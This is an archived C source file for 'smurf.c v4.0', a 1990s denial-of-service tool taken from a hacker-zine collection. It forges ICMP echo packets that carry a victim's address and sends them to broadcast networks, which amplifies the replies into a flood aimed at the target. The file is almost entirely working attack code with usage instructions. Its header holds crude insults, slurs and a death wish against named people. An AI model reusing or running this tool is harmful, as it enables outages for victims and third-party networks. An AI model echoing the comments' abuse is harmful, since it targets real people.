home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / smurf4.c < prev    next >
Text File  |  1998-12-09  |  7KB  |  227 lines

  1.  
  2.  
  3. /*
  4.  *
  5.  *  $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST Exp $
  6.  *
  7.  *  spoofs icmp packets from a host to various broadcast addresses resulting
  8.  *  in multiple replies to that host from a single packet.  
  9.  *
  10.  *  mad head to:  
  11.  *     nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
  12.  *     MissSatan for swallowing, napster for pimping my sister, the guy that
  13.  *     invented vaseline, fyber for trying, knowy, old school #havok, kain 
  14.  *     cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
  15.  *     have missed (you know who you are).
  16.  * 
  17.  *     hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
  18.  *     thing he is (he's -almost- as stubborn as me, still i managed to pick up
  19.  *     half the cheque).
  20.  *
  21.  *     and a special hi to Todd, face it dude, you're fucking awesome.
  22.  *
  23.  *  mad anal to:
  24.  *     #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps
  25.  *     because they plain suck, Rolex for being a twit, everyone that
  26.  *     trades warez, Caren for being a lesbian hoe, AcidKill for being her
  27.  *     partner, #cha0s, sedriss for having an ego in inverse proportion to
  28.  *     his penis and anyone that can't pee standing up -- you don't know what
  29.  *     your missing out on.
  30.  *
  31.  *     and anyone thats ripped my code (diff smurf.c axcast.c is rather
  32.  *     interesting).
  33.  *
  34.  *     and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill 
  35.  *     Robbins for trying to steal my girlfriend.  Not only did you show me
  36.  *     no respect but you're a manipulating prick who tried to take away the 
  37.  *     most important thing in the world to me with no guilt whatsoever, and
  38.  *     for that I wish you nothing but pain.  Die.
  39.  *
  40.  *  disclaimer:
  41.  *     I cannot and will not be held responsible nor legally bound for the
  42.  *     malicious activities of individuals who come into possession of this
  43.  *     program and I refuse to provide help or support of any kind and do NOT
  44.  *     condone use of this program to deny service to anyone or any machine.
  45.  *     This is for educational use only. Please Don't abuse this.
  46.  *
  47.  *  Well, i really, really, hate this code, but yet here I am creating another
  48.  *  disgusting version of it.  Odd, indeed.  So why did I write it?  Well, I,
  49.  *  like most programmers don't like seeing bugs in their code.  I saw a few
  50.  *  things that should have been done better or needed fixing so I fixed 
  51.  *  them.  -shrug-, programming for me as always seemed to take the pain away
  52.  *  ...
  53.  *
  54.  *
  55.  */   
  56.  
  57. #include <signal.h>
  58. #include <stdio.h>
  59. #include <stdlib.h>
  60. #include <sys/socket.h>
  61. #include <sys/types.h>
  62. #include <netinet/in.h>
  63. #include <netinet/ip.h>
  64. #include <netinet/ip_icmp.h>
  65. #include <netdb.h>
  66. #include <ctype.h>
  67. #include <arpa/inet.h>
  68. #include <unistd.h>
  69. #include <string.h>
  70.  
  71. void banner(void);
  72. void usage(char *);
  73. void smurf(int, struct sockaddr_in, u_long, int);
  74. void ctrlc(int);
  75. unsigned short in_chksum(u_short *, int);
  76.  
  77.  
  78. /* stamp */
  79. char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";
  80.  
  81. int main (int argc, char *argv[])  
  82. {
  83.    struct sockaddr_in sin;
  84.    struct hostent *he;
  85.    FILE   *bcastfile;
  86.    int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;
  87.    char   buf[32], **bcastaddr = malloc(8192); 
  88.  
  89.    banner();
  90.    signal(SIGINT, ctrlc);
  91.  
  92.    if (argc < 6) usage(argv[0]);
  93.  
  94.    if ((he = gethostbyname(argv[1])) == NULL) {
  95.       perror("resolving source host");
  96.       exit(-1);
  97.    }
  98.    memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);
  99.    sin.sin_family = AF_INET;
  100.    sin.sin_port = htons(0); 
  101.  
  102.    num = atoi(argv[3]);
  103.    delay = atoi(argv[4]);
  104.    pktsize = atoi(argv[5]);
  105.  
  106.    if ((bcastfile = fopen(argv[2], "r")) == NULL) {
  107.       perror("opening bcast file");
  108.       exit(-1);
  109.    }
  110.    x = 0;
  111.    while (!feof(bcastfile)) {
  112.       fgets(buf, 32, bcastfile);
  113.       if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
  114.       for (i = 0; i < strlen(buf); i++) 
  115.           if (buf[i] == '\n') buf[i] = '\0';
  116.       bcastaddr[x] = malloc(32); 
  117.       strcpy(bcastaddr[x], buf);   
  118.       x++;
  119.    }
  120.    bcastaddr[x] = 0x0;
  121.    fclose(bcastfile);
  122.  
  123.    if (x == 0) {
  124.       fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
  125.       exit(-1);
  126.    }
  127.    if (pktsize > 1024) {
  128.       fprintf(stderr, "ERROR: packet size must be < 1024\n\n");
  129.       exit(-1);
  130.    }
  131.  
  132.    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  133.       perror("getting socket");
  134.       exit(-1);
  135.    }
  136.    setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));
  137.   
  138.    printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);  
  139.  
  140.    for (i = 0; i < num || !num; i++) {
  141.       if (!(i % 25)) { printf("."); fflush(stdout); }
  142.       smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);
  143.       cycle++;
  144.       if (bcastaddr[cycle] == 0x0) cycle = 0; 
  145.       usleep(delay);
  146.    }
  147.    puts("\n\n");
  148.    return 0;
  149. }
  150.  
  151. void banner (void)
  152. {
  153.    puts("\nsmurf.c v4.0 by TFreak\n");
  154. }
  155.  
  156. void usage (char *prog)
  157. {
  158.    fprintf(stderr, "usage: %s <target> <bcast file> "
  159.                    "<num packets> <packet delay> <packet size>\n\n"
  160.                    "target        = address to hit\n"
  161.                    "bcast file    = file to read broadcast addresses from\n"
  162.                    "num packets   = number of packets to send (0 = flood)\n"
  163.                    "packet delay  = wait between each packet (in ms)\n"
  164.                    "packet size   = size of packet (< 1024)\n\n", prog);
  165.    exit(-1);
  166. }
  167.  
  168. void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)
  169. {
  170.    struct iphdr *ip;
  171.    struct icmphdr *icmp;
  172.    char *packet;
  173.  
  174.    packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  175.    ip = (struct iphdr *)packet;
  176.    icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));
  177.  
  178.    memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  179.  
  180.    ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
  181.    ip->ihl = 5;
  182.    ip->version = 4;
  183.    ip->ttl = 255;
  184.    ip->tos = 0;
  185.    ip->frag_off = 0;
  186.    ip->protocol = IPPROTO_ICMP;
  187.    ip->saddr = sin.sin_addr.s_addr;
  188.    ip->daddr = dest;
  189.    ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));
  190.    icmp->type = 8;
  191.    icmp->code = 0;
  192.    icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);
  193.  
  194.    sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 
  195.           0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); 
  196.  
  197.    free(packet);           /* free willy! */
  198. }
  199.  
  200. void ctrlc (int ignored)
  201. {
  202.    puts("\nDone!\n");
  203.    exit(1);
  204. }
  205.  
  206. unsigned short in_chksum (u_short *addr, int len)
  207. {
  208.    register int nleft = len;
  209.    register int sum = 0;
  210.    u_short answer = 0;
  211.  
  212.    while (nleft > 1) {
  213.       sum += *addr++;
  214.       nleft -= 2;
  215.    }
  216.  
  217.    if (nleft == 1) {
  218.       *(u_char *)(&answer) = *(u_char *)addr;
  219.       sum += answer;
  220.    }
  221.  
  222.    sum = (sum >> 16) + (sum + 0xffff);
  223.    sum += (sum >> 16);
  224.    answer = ~sum;
  225.    return(answer);
  226. }
  227.